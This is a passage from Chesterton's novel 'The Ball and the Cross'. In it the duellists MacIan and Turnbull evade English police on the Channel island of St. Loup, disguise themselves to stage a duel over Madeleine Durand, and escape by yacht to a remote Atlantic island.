farther up their feet found the +beach firmer, and a few moments afterwards they were leaning on +the ragged breakwater and looking back at the sea they had +escaped. + +They had a dreary walk across wastes of grey shingle in the grey +dawn before they began to come within hail of human fields or +roads; nor had they any notion of what fields or roads they would +be. Their boots were beginning to break up and the confusion of +stones tried them severely, so that they were glad to lean on +their swords, as if they were the staves of pilgrims. MacIan +thought vaguely of a weird ballad of his own country which +describes the soul in Purgatory as walking on a plain full of +sharp stones, and only saved by its own charities upon earth. + + If ever thou gavest hosen and shoon + Every night and all, + Sit thee down and put them on, + And Christ receive thy soul. + +Turnbull had no such lyrical meditations, but he was in an even +worse temper. + +At length they came to a pale ribbon of road, edged by a shelf of +rough and almost colourless turf; and a few feet up the slope +there stood grey and weather-stained, one of those big wayside +crucifixes which are seldom seen except in Catholic countries. + +MacIan put his hand to his head and found that his bonnet was not +there. Turnbull gave one glance at the crucifix--a glance at once +sympathetic and bitter, in which was concentrated the whole of +Swinburne's poem on the same occasion. + + O hidden face of man, whereover + The years have woven a viewless veil, + If thou wert verily man's lover + What did thy love or blood avail? + Thy blood the priests mix poison of, + And in gold shekels coin thy love. + +Then, leaving MacIan in his attitude of prayer, Turnbull began to +look right and left very sharply, like one looking for something. +Suddenly, with a little cry, he saw it and ran forward. A few +yards from them along the road a lean and starved sort of hedge +came pitifully to an end. Caught upon its prickly angle, however, +there was a very small and very dirty scrap of paper that might +have hung there for months, since it escaped from someone tearing +up a letter or making a spill out of a newspaper. Turnbull +snatched at it and found it was the corner of a printed page, +very coarsely printed, like a cheap novelette, and just large +enough to contain the words: "_et c'est elle qui_----" + +"Hurrah!" cried Turnbull, waving his fragment; "we are safe at +last. We are free at last. We are somewhere better than England +or Eden or Paradise. MacIan, we are in the Land of the Duel!" + +"Where do you say?" said the other, looking at him heavily and +with knitted brows, like one almost dazed with the grey doubts of +desolate twilight and drifting sea. + +"We are in France!" cried Turnbull, with a voice like a trumpet, +"in the land where things really happen--_Tout arrive en France_. +We arrive in France. Look at this little message," and he held +out the scrap of paper. "There's an omen for you superstitious +hill folk. _C'est elle qui--Mais oui, mais oui, c'est elle qui +sauvera encore le monde_." + +"France!" repeated MacIan, and his eyes awoke again in his head +like large lamps lighted. + +"Yes, France!" said Turnbull, and all the rhetorical part of him +came to the top, his face growing as red as his hair. "France, +that has always been in rebellion for liberty and reason. France, +that has always assailed superstition with the club of Rabelais +or the rapier of Voltaire. France, at whose first council table +sits the sublime figure of Julian the Apostate. France, where a +man said only the other day those splendid unanswerable +words"--with a superb gesture--"'we have extinguished in heaven +those lights that men shall never light again.'" + +"No," said MacIan, in a voice that shook with a controlled +passion. "But France, which was taught by St. Bernard and led to +war by Joan of Arc. France that made the crusades. France that +saved the Church and scattered the heresies by the mouths of +Bossuet and Massillon. France, which shows today the conquering +march of Catholicism, as brain after brain surrenders to it, +Brunetière, Coppée, Hauptmann, Barrès, Bourget, Lemaître." + +"France!" asserted Turnbull with a sort of rollicking +self-exaggeration, very unusual with him, "France, which is one +torrent of splendid scepticism from Abelard to Anatole France." + +"France," said MacIan, "which is one cataract of clear faith from +St. Louis to Our Lady of Lourdes." + +"France at least," cried Turnbull, throwing up his sword in +schoolboy triumph, "in which these things are thought about and +fought about. France, where reason and religion clash in one +continual tournament. France, above all, where men understand the +pride and passion which have plucked our blades from their +scabbards. Here, at least, we shall not be chased and spied on by +sickly parsons and greasy policemen, because we wish to put our +lives on the game. Courage, my friend, we have come to the +country of honour." + +MacIan did not even notice the incongruous phrase "my friend", +but nodding again and again, drew his sword and flung the +scabbard far behind him in the road. + +"Yes," he cried, in a voice of thunder, "we will fight here and +_He_ shall look on at it." + +Turnbull glanced at the crucifix with a sort of scowling +good-humour and then said: "He may look and see His cross +defeated." + +"The cross cannot be defeated," said MacIan, "for it is Defeat." + +A second afterwards the two bright, blood-thirsty weapons made +the sign of the cross in horrible parody upon each other. + +They had not touched each other twice, however, when upon the +hill, above the crucifix, there appeared another horrible parody +of its shape; the figure of a man who appeared for an instant +waving his outspread arms. He had vanished in an instant; but +MacIan, whose fighting face was set that way, had seen the shape +momentarily but quite photographically. And while it was like a +comic repetition of the cross, it was also, in that place and +hour, something more incredible. It had been only instantaneously +on the retina of his eye; but unless his eye and mind were going +mad together, the figure was that of an ordinary London +policeman. + +He tried to concentrate his senses on the sword-play; but one +half of his brain was wrestling with the puzzle; the apocalyptic +and almost seraphic apparition of a stout constable out of +Clapham on top of a dreary and deserted hill in France. He did +not, however, have to puzzle long. Before the duellists had +exchanged half a dozen passes, the big, blue policeman appeared +once more on the top of the hill, a palpable monstrosity in the +eye of heaven. He was waving only one arm now and seemed to be +shouting directions. At the same moment a mass of blue blocked +the corner of the road behind the small, smart figure of +Turnbull, and a small company of policemen in the English uniform +came up at a kind of half-military double. + +Turnbull saw the stare of consternation in his enemy's face and +swung round to share its cause. When he saw it, cool as he was, +he staggered back. + +"What the devil are you doing here?" he called out in a high, +shrill voice of authority, like one who finds a tramp in his own +larder. + +"Well, sir," said the sergeant in command, with that sort of +heavy civility shown only to the evidently guilty, "seems to me +we might ask what are you doing here?" + +"We are having an affair of honour," said Turnbull, as if it were +the most rational thing in the world. "If the French police like +to interfere, let them interfere. But why the blue blazes should +you interfere, you great blue blundering sausages?" + +"I'm afraid, sir," said the sergeant with restraint, "I'm afraid +I don't quite follow you." + +"I mean, why don't the French police take this up if it's got to +be taken up? I always heard that they were spry enough in their +own way." + +"Well, sir," said the sergeant reflectively, "you see, sir, the +French police don't take this up--well, because you see, sir, +this ain't France. This is His Majesty's dominions, same as +'Ampstead 'eath." + +"Not France?" repeated Turnbull, with a sort of dull incredulity. + +"No, sir," said the sergeant; "though most of the people talk +French. This is the island called St. Loup, sir, an island in the +Channel. We've been sent down specially from London, as you were +such specially distinguished criminals, if you'll allow me to say +so. Which reminds me to warn you that anything you say may be +used against you at your trial." + +"Quite so," said Turnbull, and lurched suddenly against the +sergeant, so as to tip him over the edge of the road with a crash +into the shingle below. Then leaving MacIan and the policemen +equally and instantaneously nailed to the road, he ran a little +way along it, leapt off on to a part of the beach, which he had +found in his journey to be firmer, and went across it with a +clatter of pebbles. His sudden calculation was successful; the +police, unacquainted with the various levels of the loose beach, +tried to overtake him by the shorter cut and found themselves, +being heavy men, almost up to their knees in shoals of slippery +shingle. Two who had been slower with their bodies were quicker +with their minds, and seeing Turnbull's trick, ran along the edge +of the road after him. Then MacIan finally awoke, and leaving +half his sleeve in the grip of the only man who tried to hold +him, took the two policemen in the small of their backs with the +impetus of a cannon-ball and, sending them also flat among the +stones, went tearing after his twin defier of the law. + +As they were both good runners, the start they had gained was +decisive. They dropped over a high breakwater farther on upon the +beach, turned sharply, and scrambled up a line of ribbed rocks, +crowned with a thicket, crawled through it, scratching their +hands and faces, and dropped into another road; and there found +that they could slacken their speed into a steady trot. In all +this desperate dart and scramble, they still kept hold of their +drawn swords, which now, indeed, in the vigorous phrase of +Bunyan, seemed almost to grow out of their hands. + +They had run another half mile or so when it became apparent that +they were entering a sort of scattered village. One or two +whitewashed cottages and even a shop had appeared along the side +of the road. Then, for the first time, Turnbull twisted round his +red bear to get a glimpse of his companion, who was a foot or two +behind, and remarked abruptly: "Mr. MacIan, we've been going the +wrong way to work all along. We're traced everywhere, because +everybody knows about us. It's as if one went about with Kruger's +beard on Mafeking Night." + +"What do you mean?" said MacIan, innocently. + +"I mean," said Turnbull, with steady conviction, "that what we +want is a little diplomacy, and I am going to buy some in a +shop." + + + +XI. A SCANDAL IN THE VILLAGE + +In the little hamlet of Haroc, in the Isle of St. Loup, there +lived a man who--though living under the English flag--was +absolutely untypical of the French tradition. He was quite +unnoticeable, but that was exactly where he was quite himself. He +was not even extraordinarily French; but then it is against the +French tradition to be extraordinarily French. Ordinary +Englishmen would only have thought him a little old-fashioned; +imperialistic Englishmen would really have mistaken him for the +old John Bull of the caricatures. He was stout; he was quite +undistinguished; and he had side-whiskers, worn just a little +longer than John Bull's. He was by name Pierre Durand; he was by +trade a wine merchant; he was by politics a conservative +republican; he had been brought up a Catholic, had always thought +and acted as an agnostic, and was very mildly returning to the +Church in his later years. He had a genius (if one can even use +so wild a word in connexion with so tame a person) a genius for +saying the conventional thing on every conceivable subject; or +rather what we in England would call the conventional thing. For +it was not convention with him, but solid and manly conviction. +Convention implies cant or affectation, and he had not the +faintest smell of either. He was simply an ordinary citizen with +ordinary views; and if you had told him so he would have taken it +as an ordinary compliment. If you had asked him about women, he +would have said that one must preserve their domesticity and +decorum; he would have used the stalest words, but he would have +in reserve the strongest arguments. If you had asked him about +government, he would have said that all citizens were free and +equal, but he would have meant what he said. If you had asked him +about education, he would have said that the young must be +trained up in habits of industry and of respect for their +parents. Still he would have set them the example of industry, +and he would have been one of the parents whom they could +respect. A state of mind so hopelessly central is depressing to +the English instinct. But then in England a man announcing these +platitudes is generally a fool and a frightened fool, announcing +them out of mere social servility. But Durand was anything but a +fool; he had read all the eighteenth century, and could have +defended his platitudes round every angle of eighteenth-century +argument. And certainly he was anything but a coward: swollen and +sedentary as he was, he could have hit any man back who touched +him with the instant violence of an automatic machine; and dying +in a uniform would have seemed to him only the sort of thing that +sometimes happens. I am afraid it is impossible to explain this +monster amid the exaggerative sects and the eccentric clubs of my +country. He was merely a man. + +He lived in a little villa which was furnished well with +comfortable chairs and tables and highly uncomfortable classical +pictures and medallions. The art in his home contained nothing +between the two extremes of hard, meagre designs of Greek heads +and Roman togas, and on the other side a few very vulgar Catholic +images in the crudest colours; these were mostly in his +daughter's room. He had recently lost his wife, whom he had loved +heartily and rather heavily in complete silence, and upon whose +grave he was constantly in the habit of placing hideous little +wreaths, made out of a sort of black-and-white beads. To his only +daughter he was equally devoted, though he restricted her a good +deal under a sort of theoretic alarm about her innocence; an +alarm which was peculiarly unnecessary, first, because she was an +exceptionally reticent and religious girl, and secondly, because +there was hardly anybody else in the place. + +Madeleine Durand was physically a sleepy young woman, and might +easily have been supposed to be morally a lazy one. It is, +however, certain that the work of her house was done somehow, and +it is even more rapidly ascertainable that nobody else did it. +The logician is, therefore, driven back upon the assumption that +she did it; and that lends a sort of mysterious interest to her +personality at the beginning. She had very broad, low, and level +brows, which seemed even lower because her warm yellow hair +clustered down to her eyebrows; and she had a face just plump +enough not to look as powerful as it was. Anything that was heavy +in all this was abruptly lightened by two large, light china-blue +eyes, lightened all of a sudden as if it had been lifted into the +air by two big blue butterflies. The rest of her was less than +middle-sized, and was of a casual and comfortable sort; and she +had this difference from such girls as the girl in the motor-car, +that one did not incline to take in her figure at all, but only +her broad and leonine and innocent head. + +Both the father and the daughter were of the sort that would +normally have avoided all observation; that is, all observation +in that extraordinary modern world which calls out everything +except strength. Both of them had strength below the surface; +they were like quiet peasants owning enormous and unquarried +mines. The father with his square face and grey side whiskers, +the daughter with her square face and golden fringe of hair, were +both stronger than they know; stronger than anyone knew. The +father believed in civilization, in the storied tower we have +erected to affront nature; that is, the father believed in Man. +The daughter believed in God; and was even stronger. They neither +of them believed in themselves; for that is a decadent weakness. + +The daughter was called a devotee. She left upon ordinary people +the impression--the somewhat irritating impression--produced by +such a person; it can only be described as the sense of strong +water being perpetually poured into some abyss. She did her +housework easily; she achieved her social relations sweetly; she +was never neglectful and never unkind. This accounted for all +that was soft in her, but not for all that was hard. She trod +firmly as if going somewhere; she flung her face back as if +defying something; she hardly spoke a cross word, yet there was +often battle in her eyes. The modern man asked doubtfully where +all this silent energy went to. He would have stared still more +doubtfully if he had been told that it all went into her prayers. + +The conventions of the Isle of St. Loup were necessarily a +compromise or confusion between those of France and England; and +it was vaguely possible for a respectable young lady to have +half-attached lovers, in a way that would be impossible to the +_bourgeoisie_ of France. One man in particular had made himself +an unmistakable figure in the track of this girl as she went to +church. He was a short, prosperous-looking man, whose long, bushy +black beard and clumsy black umbrella made him seem both shorter +and older than he really was; but whose big, bold eyes, and step +that spurned the ground, gave him an instant character of youth. + +His name was Camille Bert, and he was a commercial traveller who +had only been in the island an idle week before he began to +hover in the tracks of Madeleine Durand. Since everyone knows +everyone in so small a place, Madeleine certainly knew him to +speak to; but it is not very evident that she ever spoke. He +haunted her, however; especially at church, which was, indeed, +one of the few certain places for finding her. In her home she +had a habit of being invisible, sometimes through insatiable +domesticity, sometimes through an equally insatiable solitude. M. +Bert did not give the impression of a pious man, though he did +give, especially with his eyes, the impression of an honest one. +But he went to Mass with a simple exactitude that could not be +mistaken for a pose, or even for a vulgar fascination. It was +perhaps this religious regularity which eventually drew Madeleine +into recognition of him. At least it is certain that she twice +spoke to him with her square and open smile in the porch of the +church; and there was human nature enough in the hamlet to turn +even that into gossip. + +But the real interest arose suddenly as a squall arises with the +extraordinary affair that occurred about five days after. There +was about a third of a mile beyond the village of Haroc a large +but lonely hotel upon the London or Paris model, but commonly +almost entirely empty. Among the accidental group of guests who +had come to it at this season was a man whose nationality no one +could fix and who bore the non-committal name of Count Gregory. +He treated everybody with complete civility and almost in +complete silence. On the few occasions when he spoke, he spoke +either French, English, or once (to the priest) Latin; and the +general opinion was that he spoke them all wrong. He was a large, +lean man, with the stoop of an aged eagle, and even the eagle's +nose to complete it; he had old-fashioned military whiskers and +moustache dyed with a garish and highly incredible yellow. He had +the dress of a showy gentleman and the manners of a decayed +gentleman; he seemed (as with a sort of simplicity) to be trying +to be a dandy when he was too old even to know that he was old. +Ye he was decidedly a handsome figure with his curled yellow hair +and lean fastidious face; and he wore a peculiar frock-coat of +bright turquoise blue, with an unknown order pinned to it, and he +carried a huge and heavy cane. Despite his silence and his +dandified dress and whiskers, the island might never have heard +of him but for the extraordinary event of which I have spoken, +which fell about in the following way: + +In such casual atmospheres only the enthusiastic go to +Benediction; and as the warm blue twilight closed over the little +candle-lit church and village, the line of worshippers who went +home from the former to the latter thinned out until it broke. On +one such evening at least no one was in church except the quiet, +unconquerable Madeleine, four old women, one fisherman, and, of +course, the irrepressible M. Camille Bert. The others seemed to +melt away afterwards into the peacock colours of the dim green +grass and the dark blue sky. Even Durand was invisible instead of +being merely reverentially remote; and Madeleine set forth +through the patch of black forest alone. She was not in the least +afraid of loneliness, because she was not afraid of devils. I +think they were afraid of her. + +In a clearing of the wood, however, which was lit up with a last +patch of the perishing sunlight, there advanced upon her suddenly +one who was more startling than a devil. The incomprehensible +Count Gregory, with his yellow hair like flame and his face like +the white ashes of the flame, was advancing bareheaded towards +her, flinging out his arms and his long fingers with a frantic +gesture. + +"We are alone here," he cried, "and you would be at my mercy, +only that I am at yours." + +Then his frantic hands fell by his sides and he looked up under +his brows with an expression that went well with his hard +breathing. Madeleine Durand had come to a halt at first in +childish wonder, and now, with more than masculine self-control, +"I fancy I know your face, sir," she said, as if to gain time. + +"I know I shall not forget yours," said the other, and extended +once more his ungainly arms in an unnatural gesture. Then of a +sudden there came out of him a spout of wild and yet pompous +phrases. "It is as well that you should know the worst and the +best. I am a man who knows no limit; I am the most callous of +criminals, the most unrepentant of sinners. There is no man in my +dominions so vile as I. But my dominions stretch from the olives +of Italy to the fir-woods of Denmark, and there is no nook of all +of them in which I have not done a sin. But when I bear you away +I shall be doing my first sacrilege, and also my first act of +virtue." He seized her suddenly by the elbow; and she did not +scream but only pulled and tugged. Yet though she had not +screamed, someone astray in the woods seemed to have heard the +struggle. A short but nimble figure came along the woodland path +like a humming bullet and had caught Count Gregory a crack across +the face before his own could be recognized. When it was +recognized it was that of Camille, with the black elderly beard +and the young ardent eyes. + +Up to the moment when Camille had hit the Count, Madeleine had +entertained no doubt that the Count was merely a madman. Now she +was startled with a new sanity; for the tall man in the yellow +whiskers and yellow moustache first returned the blow of Bert, as +if it were a sort of duty, and then stepped back with a slight +bow and an easy smile. + +"This need go no further here, M. Bert," he said. "I need not +remind you how far it should go elsewhere." + +"Certainly, you need remind me of nothing," answered Camille, +stolidly. "I am glad that you are just not too much of a +scoundrel for a gentleman to fight." + +"We are detaining the lady," said Count Gregory, with politeness; +and, making a gesture suggesting that he would have taken off his +hat if he had had one, he strode away up the avenue of trees and +eventually disappeared. He was so complete an aristocrat that he +could offer his back to them all the way up that avenue; and his +back never once looked uncomfortable. + +"You must allow me to see you home," said Bert to the girl, in a +gruff and almost stifled voice; "I think we have only a little +way to go." + +"Only a little way," she said, and smiled once more that night, +in spite of fatigue and fear and the world and the flesh and the +devil. The glowing and transparent blue of twilight had long been +covered by the opaque and slatelike blue of night, when he +handed her into the lamp-lit interior of her home. He went out +himself into the darkness, walking sturdily, but tearing at his +black beard. + +All the French or semi-French gentry of the district considered +this a case in which a duel was natural and inevitable, and +neither party had any difficulty in finding seconds, strangers as +they were in the place. Two small landowners, who were careful, +practising Catholics, willingly undertook to represent that +strict church-goer Camille Burt; while the profligate but +apparently powerful Count Gregory found friends in an energetic +local doctor who was ready for social promotion and an accidental +Californian tourist who was ready for anything. As no particular +purpose could be served by delay, it was arranged that the affair +should fall out three days afterwards. And when this was settled +the whole community, as it were, turned over again in bed and +thought no more about the matter. At least there was only one +member of it who seemed to be restless, and that was she who was +commonly most restful. On the next night Madeleine Durand went to +church as usual; and as usual the stricken Camille was there +also. What was not so usual was that when they were a bow-shot +from the church Madeleine turned round and walked back to him. +"Sir," she began, "it is not wrong of me to speak to you," and +the very words gave him a jar of unexpected truth; for in all the +novels he had ever read she would have begun: "It is wrong of me +to speak to you." She went on with wide and serious eyes like an +animal's: "It is not wrong of me to speak to you, because your +soul, or anybody's soul, matters so much more than what the world +says about anybody. I want to talk to you about what you are +going to do." + +Bert saw in front of him the inevitable heroine of the novels +trying to prevent bloodshed; and his pale firm face became +implacable. + +"I would do anything but that for you," he said; "but no man can +be called less than a man." + +She looked at him for a moment with a face openly puzzled, and +then broke into an odd and beautiful half-smile. + +"Oh, I don't mean that," she said; "I don't talk about what I +don't understand. No one has ever hit me; and if they had I +should not feel as a man may. I am sure it is not the best thing +to fight. It would be better to forgive--if one could really +forgive. But when people dine with my father and say that +fighting a duel is mere murder--of course I can see that is not +just. It's all so different--having a reason--and letting the +other man know--and using the same guns and things--and doing it +in front of your friends. I'm awfully stupid, but I know that men +like you aren't murderers. But it wasn't that that I meant." + +"What did you mean?" asked the other, looking broodingly at the +earth. + +"Don't you know," she said, "there is only one more celebration? +I thought that as you always go to church--I thought you would +communicate this morning." + +Bert stepped backward with a sort of action she had never seen in +him before. It seemed to alter his whole body. + +"You may be right or wrong to risk dying," said the girl, simply; +"the poor women in our village risk it whenever they have a baby. +You men are the other half of the world. I know nothing about +when you ought to die. But surely if you are daring to try and +find God beyond the grave and appeal to Him--you ought to let Him +find you when He comes and stands there every morning in our +little church." + +And placid as she was, she made a little gesture of argument, of +which the pathos wrung the heart. + +M. Camille Bert was by no means placid. Before that incomplete +gesture and frankly pleading face he retreated as if from the +jaws of a dragon. His dark black hair and beard looked utterly +unnatural against the startling pallor of his face. When at last +he said something it was: "O God! I can't stand this!" He did not +say it in French. Nor did he, strictly speaking, say it in +English. The truth (interesting only to anthropologists) is that +he said it in Scotch. + +"There will be another mass in a matter of eight hours," said +Madeleine, with a sort of business eagerness and energy, "and you +can do it then before the fighting. You must forgive me, but I +was so frightened that you would not do it at all." + +Bert seemed to crush his teeth together until they broke, and +managed to say between them: "And why should you suppose that I +shouldn't do as you say--I mean not to do it at all?" + +"You always go to Mass," answered the girl, opening her wide blue +eyes, "and the Mass is very long and tiresome unless one loves +God." + +Then it was that Bert exploded with a brutality which might have +come from Count Gregory, his criminal opponent. He advanced upon +Madeleine with flaming eyes, and almost took her by the two +shoulders. "I do not love God," he cried, speaking French with +the broadest Scotch accent; "I do not want to find Him; I do not +think He is there to be found. I must burst up the show; I must +and will say everything. You are the happiest and honestest thing +I ever saw in this godless universe. And I am the dirtiest and +most dishonest." + +Madeleine looked at him doubtfully for an instant, and then said +with a sudden simplicity and cheerfulness: "Oh, but if you are +really sorry it is all right. If you are horribly sorry it is all +the better. You have only to go and tell the priest so and he +will give you God out of his own hands." + +"I hate your priest and I deny your God!" cried the man, "and I +tell you God is a lie and a fable and a mask. And for the first +time in my life I do not feel superior to God." + +"What can it all mean?" said Madeleine, in massive wonder. + +"Because I am a fable also and a mask," said the man. He had been +plucking fiercely at his black beard and hair all the time; now +he suddenly plucked them off and flung them like moulted feathers +in the mire. This extraordinary spoliation left in the sunlight +the same face, but a much younger head--a head with close +chestnut curls and a short chestnut beard. + +"Now you know the truth," he answered, with hard eyes. "I am a +cad who has played a crooked trick on a quiet village and a +decent woman for a private reason of his own. I might have played +it successfully on any other woman; I have hit the one woman on +whom it cannot be played. It's just like my damned luck. The +plain truth is," and here when he came to the plain truth he +boggled and blundered as Evan had done in telling it to the girl +in the motor-car. + +"The plain truth is," he said at last, "that I am James Turnbull +the atheist. The police are after me; not for atheism but for +being ready to fight for it." + +"I saw something about you in a newspaper," said the girl, with a +simplicity which even surprise could never throw off its balance. + +"Evan MacIan said there was a God," went on the other, +stubbornly, "and I say there isn't. And I have come to fight for +the fact that there is no God; it is for that that I have seen +this cursed island and your blessed face." + +"You want me really to believe," said Madeleine, with parted +lips, "that you think----" + +"I want you to hate me!" cried Turnbull, in agony. "I want you to +be sick when you think of my name. I am sure there is no God." + +"But there is," said Madeleine, quite quietly, and rather with +the air of one telling children about an elephant. "Why, I +touched His body only this morning." + +"You touched a bit of bread," said Turnbull, biting his knuckles. +"Oh, I will say anything that can madden you!" + +"You think it is only a bit of bread," said the girl, and her +lips tightened ever so little. + +"I know it is only a bit of bread," said Turnbull, with violence. + +She flung back her open face and smiled. "Then why did you refuse +to eat it?" she said. + +James Turnbull made a little step backward, and for the first +time in his life there seemed to break out and blaze in his head +thoughts that were not his own. + +"Why, how silly of them," cried out Madeleine, with quite a +schoolgirl gaiety, "why, how silly of them to call _you_ a +blasphemer! Why, you have wrecked your whole business because you +would not commit blasphemy." + +The man stood, a somewhat comic figure in his tragic +bewilderment, with the honest red head of James Turnbull sticking +out of the rich and fictitious garments of Camille Bert. But the +startled pain of his face was strong enough to obliterate the +oddity. + +"You come down here," continued the lady, with that female +emphasis which is so pulverizing in conversation and so feeble at +a public meeting, "you and your MacIan come down here and put on +false beards or noses in order to fight. You pretend to be a +Catholic commercial traveller from France. Poor Mr. MacIan has to +pretend to be a dissolute nobleman from nowhere. Your scheme +succeeds; you pick a quite convincing quarrel; you arrange a +quite respectable duel; the duel you have planned so long will +come off tomorrow with absolute certainty and safety. And then +you throw off your wig and throw up your scheme and throw over +your colleague, because I ask you to go into a building and eat a +bit of bread. And _then_ you dare to tell me that you are sure +there is nothing watching us. Then you say you know there is +nothing on the very altar you run away from. You know----" + +"I only know," said Turnbull, "that I must run away from you. +This has got beyond any talking." And he plunged along into the +village, leaving his black wig and beard lying behind him on the +road. + +As the market-place opened before him he saw Count Gregory, that +distinguished foreigner, standing and smoking in elegant +meditation at the corner of the local café. He immediately made +his way rapidly towards him, considering that a consultation was +urgent. But he had hardly crossed half of that stony quadrangle +when a window burst open above him and a head was thrust out, +shouting. The man was in his woollen undershirt, but Turnbull +knew the energetic, apologetic head of the sergeant of police. He +pointed furiously at Turnbull and shouted his name. A policeman +ran excitedly from under an archway and tried to collar him. Two +men selling vegetables dropped their baskets and joined in the +chase. Turnbull dodged the constable, upset one of the men into +his own basket, and bounding towards the distinguished foreign +Count, called to him clamorously: "Come on, MacIan, the hunt is +up again." + +The prompt reply of Count Gregory was to pull off his large +yellow whiskers and scatter them on the breeze with an air of +considerable relief. Then he joined the flight of Turnbull, and +even as he did so, with one wrench of his powerful hands rent and +split the strange, thick stick that he carried. Inside it was a +naked old-fashioned rapier. The two got a good start up the road +before the whole town was awakened behind them; and half-way up +it a similar transformation was seen to take place in Mr. +Turnbull's singular umbrella. + +The two had a long race for the harbour; but the English police +were heavy and the French inhabitants were indifferent. In any +case, they got used to the notion of the road being clear; and +just as they had come to the cliffs MacIan banged into another +gentleman with unmistakable surprise. How he knew he was another +gentleman merely by banging into him, must remain a mystery. +MacIan was a very poor and very sober Scotch gentleman. The other +was a very drunk and very wealthy English gentleman. But there +was something in the staggered and openly embarrassed apologies +that made them understand each other as readily and as quickly +and as much as two men talking French in the middle of China. The +nearest expression of the type is that it either hits or +apologizes; and in this case both apologized. + +"You seem to be in a hurry," said the unknown Englishman, falling +back a step or two in order to laugh with an unnatural +heartiness. "What's it all about, eh?" Then before MacIan could +get past his sprawling and staggering figure he ran forward again +and said with a sort of shouting and ear-shattering whisper: "I +say, my name is Wilkinson. _You_ know--Wilkinson's Entire was my +grandfather. Can't drink beer myself. Liver." And he shook his +head with extraordinary sagacity. + +"We really are in a hurry, as you say," said MacIan, summoning a +sufficiently pleasant smile, "so if you will let us pass----" + +"I'll tell you what, you fellows," said the sprawling gentleman, +confidentially, while Evan's agonized ears heard behind him the +first paces of the pursuit, "if you really are, as you say, in a +hurry, I know what it is to be in a hurry--Lord, what a hurry I +was in when we all came out of Cartwright's rooms--if you really +are in a hurry"--and he seemed to steady his voice into a sort of +solemnity--"if you are in a hurry, there's nothing like a good +yacht for a man in a hurry." + +"No doubt you're right," said MacIan, and dashed past him in +despair. The head of the pursuing host was just showing over the +top of the hill behind him. Turnbull had already ducked under the +intoxicated gentleman's elbow and fled far in front. + +"No, but look here," said Mr. Wilkinson, enthusiastically running +after MacIan and catching him by the sleeve of his coat. "If you +want to hurry you should take a yacht, and if"--he said, with a +burst of rationality, like one leaping to a further point in +logic--"if you want a yacht--you can have mine." + +Evan pulled up abruptly and looked back at him. "We are really in +the devil of a hurry," he said, "and if you really have a yacht, +the truth is that we would give our ears for it." + +"You'll find it in harbour," said Wilkinson, struggling with his +speech. "Left side of harbour--called _Gibson Girl_--can't think +why, old fellow, I never lent it you before." + +With these words the benevolent Mr. Wilkinson fell flat on his +face in the road, but continued to laugh softly, and turned +towards his flying companion a face of peculiar peace and +benignity. Evan's mind went through a crisis of instantaneous +casuistry, in which it may be that he decided wrongly; but about +how he decided his biographer can profess no doubt. Two minutes +afterwards he had overtaken Turnbull and told the tale; ten +minutes afterwards he and Turnbull had somehow tumbled into the +yacht called the _Gibson Girl_ and had somehow pushed off from +the Isle of St. Loup. + + + +XII. THE DESERT ISLAND + +Those who happen to hold the view (and Mr. Evan MacIan, now alive +and comfortable, is among the number) that something +supernatural, some eccentric kindness from god or fairy had +guided our adventurers through all their absurd perils, might +have found his strongest argument perhaps in their management or +mismanagement of Mr. Wilkinson's yacht. Neither of them had the +smallest qualification for managing such a vessel; but MacIan had +a practical knowledge of the sea in much smaller and quite +different boats, while Turnbull had an abstract knowledge of +science and some of its applications to navigation, which was +worse. The presence of the god or fairy can only be deduced from +the fact that they never definitely ran into anything, either a +boat, a rock, a quicksand, or a man-of-war. Apart from this +negative description, their voyage would be difficult to +describe. It took at least a fortnight, and MacIan, who was +certainly the shrewder sailor of the two, realized that they were +sailing west into the Atlantic and were probably by this time +past the Scilly Isles. How much farther they stood out into the +western sea it was impossible to conjecture. But they felt +certain, at least, that they were far enough into that awful gulf +between us and America to make it unlikely that they would soon +see land again. It was therefore with legitimate excitement that +one rainy morning after daybreak they saw that distinct shape of +a solitary island standing up against the encircling strip of +silver which ran round the skyline and separated the grey and +green of the billows from the grey and mauve of the morning +clouds. + +"What can it be?" cried MacIan, in a dry-throated excitement. "I +didn't know there were any Atlantic islands so far beyond the +Scillies--Good Lord, it can't be Madeira, yet?" + +"I thought you were fond of legends and lies and fables," said +Turnbull, grimly. "Perhaps it's Atlantis." + +"Of course, it might be," answered the other, quite innocently +and gravely; "but I never thought the story about Atlantis was +very solidly established." + +"Whatever it is, we are running on to it," said Turnbull, +equably, "and we shall be shipwrecked twice, at any rate." + +The naked-looking nose of land projecting from the unknown island +was, indeed, growing larger and larger, like the trunk of some +terrible and advancing elephant. There seemed to be nothing in +particular, at least on this side of the island, except shoals of +shellfish lying so thick as almost to make it look like one of +those toy grottos that the children make. In one place, however, +the coast offered a soft, smooth bay of sand, and even the +rudimentary ingenuity of the two amateur mariners managed to run +up the little ship with her prow well on shore and her bowsprit +pointing upward, as in a sort of idiotic triumph. + +They tumbled on shore and began to unload the vessel, setting the +stores out in rows upon the sand with something of the solemnity +of boys playing at pirates. There were Mr. Wilkinson's +cigar-boxes and Mr. Wilkinson's dozen of champagne and Mr. +Wilkinson's tinned salmon and Mr. Wilkinson's tinned tongue and +Mr. Wilkinson's tinned sardines, and every sort of preserved +thing that could be seen at the Army and Navy stores. Then MacIan +stopped with a jar of pickles in his hand and said abruptly: + +"I don't know why we're doing all this; I suppose we ought really +to fall to and get it over." + +Then he added more thoughtfully: "Of course this island seems +rather bare and the survivor----" + +"The question is," said Turnbull, with cheerful speculation, +"whether the survivor will be in a proper frame of mind for +potted prawns." + +MacIan looked down at the rows of tins and bottles, and the cloud +of doubt still lowered upon his face. + +"You will permit me two liberties, my dear sir," said Turnbull at +last: "The first is to break open this box and light one of Mr. +Wilkinson's excellent cigars, which will, I am sure, assist my +meditations; the second is to offer a penny for your thoughts; or +rather to convulse the already complex finances of this island by +betting a penny that I know them." + +"What on earth are you talking about?" asked MacIan, listlessly, +in the manner of an inattentive child. + +"I know what you are really thinking, MacIan," repeated Turnbull, +laughing. "I know what I am thinking, anyhow. And I rather fancy +it's the same." + +"What are you thinking?" asked Evan. + +"I am thinking and you are thinking," said Turnbull, "that it is +damned silly to waste all that champagne." + +Something like the spectre of a smile appeared on the unsmiling +visage of the Gael; and he made at least no movement of dissent. + +"We could drink all the wine and smoke all the cigars easily in a +week," said Turnbull; "and that would be to die feasting like +heroes." + +"Yes, and there is something else," said MacIan, with slight +hesitation. "You see, we are on an almost unknown rock, lost in +the Atlantic. The police will never catch us; but then neither +may the public ever hear of us; and that was one of the things we +wanted." Then, after a pause, he said, drawing in the sand with +his sword-point: "She may never hear of it at all." + +"Well?" inquired the other, puffing at his cigar. + +"Well," said MacIan, "we might occupy a day or two in drawing up +a thorough and complete statement of 